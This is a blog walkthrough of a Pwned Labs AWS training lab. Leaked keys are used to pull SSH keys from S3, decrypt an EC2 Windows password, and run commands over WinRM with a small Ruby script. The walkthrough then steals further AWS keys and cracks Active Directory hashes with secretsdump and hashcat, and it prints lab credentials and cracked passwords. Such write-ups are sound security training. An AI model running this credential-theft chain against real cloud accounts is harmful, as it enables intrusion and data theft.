zpiotrak.com

Pwned Labs: Leverage Insecure Storage and Backups for Profit (AWS)

Posted: ⋅ Updated:

Lab info

Platform: Pwned Labs / Direct Lab Link

  • Difficulty: Beginner
  • Focus: Red Team

Scenario

Your team stumbled upon AWS credentials on a compromised IT workstation. Your mission now is to use these credentials to probe Huge Logistics' cloud infrastructure. Dive in, seek out sensitive data, and identify accessible critical resources to determine the potential extent of exposure.

Entry point

  • VPN connection pack
  • AWS Access Key ID AKIAWHEOTHRFRH64EQRI and corresponding Secret Access Key

All the tools required for this lab (except for the AWS CLI) should already be available on a fresh Kali Linux installation. You can find installation links in the Toolbox section at the bottom of the page.

Enumeration

Set keys with aws configure. Then run aws sts get-caller-identity to verify that credentials are working.

aws sts get-caller-identity                                                         
{
    "UserId": "AIDAWHEOTHRFTEMEHGPPY",
    "Account": "427648302155",
    "Arn": "arn:aws:iam::427648302155:user/contractor"
}

This shows that we are logged in as the contractor user. Next, check for IAM policies that are directly attached to this user.

iam list-attached-user-policies --user-name contractor
{
    "AttachedPolicies": [
        {
            "PolicyName": "Policy",
            "PolicyArn": "arn:aws:iam::427648302155:policy/Policy"
        }
    ]
}

There is one policy named Policy. Let’s take a look at it.

aws iam get-policy --policy-arn arn:aws:iam::427648302155:policy/Policy
{
    "Policy": {
        "PolicyName": "Policy",
        "PolicyId": "ANPAWHEOTHRFXRFIVBEXM",
        "Arn": "arn:aws:iam::427648302155:policy/Policy",
        "Path": "/",
        "DefaultVersionId": "v4",
        "AttachmentCount": 1,
        "PermissionsBoundaryUsageCount": 0,
        "IsAttachable": true,
        "CreateDate": "2023-07-27T17:39:55+00:00",
        "UpdateDate": "2023-07-28T14:24:22+00:00",
        "Tags": []
    }
}

The default version of this policy is V4. Let’s retrieve that policy version.

aws iam get-policy-version --policy-arn arn:aws:iam::427648302155:policy/Policy --version-id v4
{
    "PolicyVersion": {
        "Document": {
            "Version": "2012-10-17",
            "Statement": [
                {
                    "Sid": "VisualEditor0",
                    "Effect": "Allow",
                    "Action": "ec2:DescribeInstances",
                    "Resource": "*"
                },
                {
                    "Sid": "VisualEditor1",
                    "Effect": "Allow",
                    "Action": "ec2:GetPasswordData",
                    "Resource": "arn:aws:ec2:us-east-1:427648302155:instance/i-04cc1c2c7ec1af1b5"
                },
                {
                    "Sid": "VisualEditor2",
                    "Effect": "Allow",
                    "Action": [
                        "iam:GetPolicyVersion",
                        "iam:GetPolicy",
                        "iam:GetUserPolicy",
                        "iam:ListAttachedUserPolicies",
                        "s3:GetBucketPolicy"
                    ],
                    "Resource": [
                        "arn:aws:iam::427648302155:user/contractor",
                        "arn:aws:iam::427648302155:policy/Policy",
                        "arn:aws:s3:::hl-it-admin"
                    ]
                }
            ]
        },
        "VersionId": "v4",
        "IsDefaultVersion": true,
        "CreateDate": "2023-07-28T14:24:22+00:00"
    }
}

According to the policy, we have access to following actions:

  • List and view all EC2 instances within the account.
  • Retrieve the password data for the EC2 instance i-04cc1c2c7ec1af1b5.
  • Obtain information about the IAM policy attached to our current IAM user (which we leveraged earlier).
  • Retrieve the S3 bucket policy for hl-it-admin.

Next, let's check the hl-it-admin bucket policy. We can use jq to format the output for better readability.

aws s3api get-bucket-policy --bucket hl-it-admin | jq -r '.Policy | fromjson'
{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Effect": "Allow",
      "Principal": {
        "AWS": "arn:aws:iam::427648302155:user/contractor"
      },
      "Action": "s3:GetObject",
      "Resource": "arn:aws:s3:::hl-it-admin/ssh_keys/ssh_keys_backup.zip"
    }
  ]
}

The bucket policy indicates that the contractor user is authorized to download the ssh_keys_backup.zip file, so we proceed to retrieve it.

aws s3 cp s3://hl-it-admin/ssh_keys/ssh_keys_backup.zip . 
download: s3://hl-it-admin/ssh_keys/ssh_keys_backup.zip to ./ssh_keys_backup.zip

Unfortunately, we cannot list any other files in the bucket.

aws s3 ls hl-it-admin

An error occurred (AccessDenied) when calling the ListObjectsV2 operation: User: arn:aws:iam::427648302155:user/contractor is not authorized to perform: s3:ListBucket on resource: "arn:aws:s3:::hl-it-admin" because no identity-based policy allows the s3:ListBucket action

Next, we need to unzip the downloaded file.

unzip ssh_keys_backup.zip
Archive:  ssh_keys_backup.zip
  inflating: audit.pem               
  inflating: contractor.pem          
  inflating: contractor.ppk          
  inflating: iam-audit.pem           
  inflating: it-admin.pem            
  inflating: jenkins.pem             
  inflating: octopus-deploy.pem      
  inflating: sunita-adm.pem          
  inflating: viewer-dev.pem          
  inflating: viewer-dev.ppk

It appears that we have extracted several private keys. Let’s keep that in mind. Now, using the information previously obtained from arn:aws:iam::427648302155:policy/Policy, let’s try to enumerate the instances in the us-east-1 region.

aws ec2 describe-instances --filters Name=instance-state-name,Values=running --query 'Reservations[].Instances[].[Tags[?Key==`Name`].Value | [0],InstanceId,Platform,State.Name,PrivateIpAddress,PublicIpAddress,KeyName]' --region us-east-1               
[
    [
        "Backup",
        "i-04cc1c2c7ec1af1b5",
        "windows",
        "running",
        "172.31.93.149",
        "54.226.75.125",
        "it-admin"
    ],
    [
        "External",
        "i-04a13bebeb74c8ac9",
        null,
        "running",
        "172.31.84.235",
        "52.0.51.234",
        "ian-content-static-5"
    ]
]

There are two instances. Since the policy indicates that we are permitted to perform the ec2:GetPasswordData action on instance i-04cc1c2c7ec1af1b, our next step is to get the password. To do so, we need to provide the corresponding private key. We have several candidate keys available from the zip file, but it is unclear which one is valid.

To determine the correct key, we can iterate through them by running the aws ec2 get-password-data command in a loop.

for key in $(ls *.pem); do aws ec2 get-password-data --instance-id i-04cc1c2c7ec1af1b5 --priv-launch-key $key --region us-east-1; done

Unable to decrypt password data using provided private key file.
Unable to decrypt password data using provided private key file.
Unable to decrypt password data using provided private key file.
{
    "InstanceId": "i-04cc1c2c7ec1af1b5",
    "Timestamp": "2024-12-01T07:51:43+00:00",
    "PasswordData": "UZ$abRnO!bPj@KQk%BSEaB*IO%reJIX!"
}
Unable to decrypt password data using provided private key file.
Unable to decrypt password data using provided private key file.
Unable to decrypt password data using provided private key file.
Unable to decrypt password data using provided private key file.

We should also enumerate all open ports on the target. Let's use Nmap for this.

nmap 54.226.75.125 -Pn -T4        
Starting Nmap 7.95 ( https://nmap.org ) at 2025-12-05 20:58 CET
Nmap scan report for ec2-54-226-75-125.compute-1.amazonaws.com (54.226.75.125)
Host is up (0.15s latency).
Not shown: 999 filtered tcp ports (no-response)
PORT     STATE SERVICE
5985/tcp open  wsman

Nmap done: 1 IP address (1 host up) scanned in 59.85 seconds

It appears that only the WinRM (Windows Remote Management) port is open. We can try to connect to the machine. The default username for Windows instances is Administrator.

EC2 access via WinRM

Let's connect to the machine with the credentials we retrieved earlier.

evil-winrm -i 54.226.75.125 -u Administrator -p 'UZ$abRnO!bPj@KQk%BSEaB*IO%reJIX!'
                                        
Evil-WinRM shell v3.7
                                        
Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline
                                        
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
                                        
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS The term 'Invoke-Expression' is not recognized as the name of a cmdlet, function, script file, or operable program. Check the spelling of the name, or if a path was included, verify that the path is correct and try again.\n    
+ CategoryInfo          : ObjectNotFound: (Invoke-Expression:String) [], CommandNotFoundException\n    
+ FullyQualifiedErrorId : CommandNotFoundException>

Attempting to connect to the EC2 instance results in an error. It appears that the PowerShell cmdlet Invoke-Expression is being executed automatically by Evil-WinRM during the connection process. Based on what we can find while researching the issue, the system environment is likely restricted, possibly through JEA (Just Enough Administration).

There are several ways to work around this issue. The simplest and most reliable approach is to write a small Ruby script that executes a command after connecting and prints the output to the terminal. The script winrm-connect.rb is shown below.

#!/usr/bin/env ruby
require 'winrm'

endpoint = 'http://54.226.75.125:5985/wsman'
user = 'Administrator'
password = 'UZ$abRnO!bPj@KQk%BSEaB*IO%reJIX!'
command = ARGV.join(" ")

if ARGV.length < 1
  puts 'Use: ruby connect.rb <command>'
  exit
end

conn = WinRM::Connection.new(endpoint: endpoint, user: user, password: password)

conn.shell(:cmd) do |shell|
  output = shell.run(command) do |stdout, stderr|
    STDOUT.print stdout
    STDERR.print stderr
  end
end

EC2 enumeration

Let's find out what users are available on the machine.

ruby winrm-connect.rb 'dir c:\users'
 Volume in drive C has no label.
 Volume Serial Number is 3C76-3B3A

 Directory of c:\users

07/28/2023  11:35 AM    <DIR>          .
07/28/2023  11:35 AM    <DIR>          ..
03/24/2025  08:53 PM    <DIR>          admin
01/31/2025  05:39 AM    <DIR>          Administrator
12/12/2018  07:44 AM    <DIR>          Public
               0 File(s)              0 bytes
               5 Dir(s)  15,677,116,416 bytes free

There is an admin user. Let's check the contents of their directory.

ruby winrm-connect.rb 'dir c:\users\admin'
 Volume in drive C has no label.
 Volume Serial Number is 3C76-3B3A

 Directory of c:\users\admin

03/24/2025  08:53 PM    <DIR>          .
03/24/2025  08:53 PM    <DIR>          ..
07/28/2023  11:38 AM    <DIR>          .aws
07/28/2023  11:35 AM    <DIR>          3D Objects
07/28/2023  11:35 AM    <DIR>          Contacts
07/28/2023  11:35 AM    <DIR>          Desktop
07/28/2023  11:35 AM    <DIR>          Documents
07/28/2023  11:35 AM    <DIR>          Downloads
07/28/2023  11:35 AM    <DIR>          Favorites
07/28/2023  11:35 AM    <DIR>          Links
07/28/2023  11:35 AM    <DIR>          Music
07/28/2023  11:35 AM    <DIR>          Pictures
07/28/2023  11:35 AM    <DIR>          Saved Games
07/28/2023  11:35 AM    <DIR>          Searches
07/28/2023  11:35 AM    <DIR>          Videos
               0 File(s)              0 bytes
              15 Dir(s)  15,677,116,416 bytes free

It looks like there is an .aws directory that might contain a credentials file. Let's check.

ruby winrm-connect.rb 'type c:\users\admin\.aws\credentials'
[default]
aws_access_key_id = AKIAWHEOTHRFT5Q4524N
aws_secret_access_key = <SNIPPED>

Indeed, the file contains the Access Key and Secret Access Key.

Lateral movement

Set the new keys using aws configure --profile admin, then run aws sts get-caller-identity --profile admin to verify that the credentials are working.

aws sts get-caller-identity --profile admin 
{
    "UserId": "AIDAWHEOTHRFWB4TQKI2X",
    "Account": "427648302155",
    "Arn": "arn:aws:iam::427648302155:user/it-admin"
}

S3 Bucket

Let's check which files are available in the bucket we inspected earlier.

aws s3 ls hl-it-admin --recursive --profile admin 
2023-07-28 14:35:38          0 backup-2807/
2023-07-28 17:52:58   33554432 backup-2807/ad_backup/Active Directory/ntds.dit
2023-07-28 17:53:07      16384 backup-2807/ad_backup/Active Directory/ntds.jfm
2023-07-28 17:53:06      65536 backup-2807/ad_backup/registry/SECURITY
2023-07-28 17:52:58   17825792 backup-2807/ad_backup/registry/SYSTEM
2023-07-27 17:51:45         99 contractor_accessKeys.csv
2023-07-28 13:50:49          0 docs/
2023-07-28 13:51:07   10591957 docs/veeam_backup_12_agent_management_guide.pdf
2023-07-28 13:51:09    9408343 docs/veeam_backup_12_cloud_administrator_guide.pdf
2023-07-28 13:47:07         32 flag.txt
2023-07-27 17:53:06          0 installer/
2023-07-27 23:02:47 1579290624 installer/Veeam.iso
2023-07-27 19:34:24          0 ssh_keys/
2023-07-28 15:48:18      17483 ssh_keys/ssh_keys_backup.zip

We can see that there are several files available in the bucket, including flag.txt, which concludes the lab.

aws s3 cp s3://hl-it-admin/flag.txt . --profile admin
download: s3://hl-it-admin/flag.txt to ./flag.txt 

Beyond the flag

There are also other interesting files in the bucket:

  • contractor_accessKeys.csv, which contains credentials for our initial user, contractor.
  • backup-2807 directory, which contains backup files.

Let's download that backup directory recursively.

aws s3 cp s3://hl-it-admin/backup-2807/ . --recursive --profile admin
download: s3://hl-it-admin/backup-2807/ad_backup/Active Directory/ntds.jfm to ad_backup/Active Directory/ntds.jfm
download: s3://hl-it-admin/backup-2807/ad_backup/registry/SECURITY to ad_backup/registry/SECURITY
download: s3://hl-it-admin/backup-2807/ad_backup/registry/SYSTEM to ad_backup/registry/SYSTEM
download: s3://hl-it-admin/backup-2807/ad_backup/Active Directory/ntds.dit to ad_backup/Active Directory/ntds.dit

The files we are interested in are ntds.dit and SYSTEM. A brief explaination of what the files are:

  • ntds.dit - the Active Directory database file that stores all domain user accounts, password hashes and other AD objects.
  • SYSTEM - a Windows registry hive that contains system configuration data, including the keys neeeded to decrypt password hashes from ntds.dit file.

Extracting hashes from NTDS.dit

We can use impacket-secretsdump to extract the hashes from these files and save them to the hashdump.txt file.

impacket-secretsdump -ntds "ad_backup/Active Directory/ntds.dit" -system "ad_backup/registry/SYSTEM" LOCAL > hashdump.txt

Next, we can grep the saved file for the empty LM hash (aad3b435b51404eeaad3b435b51404ee) to extract only the lines we are interested in. We then save them to hashes.txt, which will later be used as an input file for Hashcat.

cat hashdump.txt | grep aad3b435b51404eeaad3b435b51404ee > hashes.txt

Cracking hashes

Let's crack the hashes with hashcat tool using the rockyou.txt wordlist. We can also provide the --username switch to tell Hashcat that the file includes usernames. This will help us to identify which password belongs to which user. Since these are NTLM hashes, we will use Hashcat's -m 1000 module.

hashcat -m 1000 -a 0 hashes.txt /usr/share/wordlists/rockyou.txt --username
hashcat (v7.1.2) starting

<SNIPPED>

c52abb1e14677d7ea228fcc1171ed7b7:daniel                   
89c99393bfe3c0a95deba6dcb0b12b43:123abc                   
a4a02c448197f67cd9e982a5e5d0acc3:rabbit                   
1674049edd3d39cead200b0fee90982a:knight                   
89492d216d0a212f8ed54fc5ac9d340b:qazwsxedc                
4d4df769e6b9b338fabda5846cf85792:fucking                  
31d6cfe0d16ae931b73c59d7e0c089c0:                         
58a478135a93ac3bf058a5ea0e8fdb71:Password123 

We can now list the recovered passwords together with their associated usernames.

hashcat -m 1000 -a 0 hashes.txt /usr/share/wordlists/rockyou.txt --username --show
Mixing --show with --username or --dynamic-x can cause exponential delay in output.

Administrator:58a478135a93ac3bf058a5ea0e8fdb71:Password123
Guest:31d6cfe0d16ae931b73c59d7e0c089c0:
huge-logistics.local\hali.lombard:4d4df769e6b9b338fabda5846cf85792:fucking
huge-logistics.local\ketty.carma:1674049edd3d39cead200b0fee90982a:knight
huge-logistics.local\lanette.kiele:89492d216d0a212f8ed54fc5ac9d340b:qazwsxedc
huge-logistics.local\blair.rosabella:a4a02c448197f67cd9e982a5e5d0acc3:rabbit
huge-logistics.local\rebeca.juliette:c52abb1e14677d7ea228fcc1171ed7b7:daniel
mssql_svc:89c99393bfe3c0a95deba6dcb0b12b43:123abc

As we can see, the Guest account does not have a password set, most likely because the account is disabled, since its NT hash corresponds to the hash of an empty string (31d6cfe0d16ae931b73c59d7e0c089c0).

References

Toolbox


amazon
aws
ec2
hashcat
pwned-labs
s3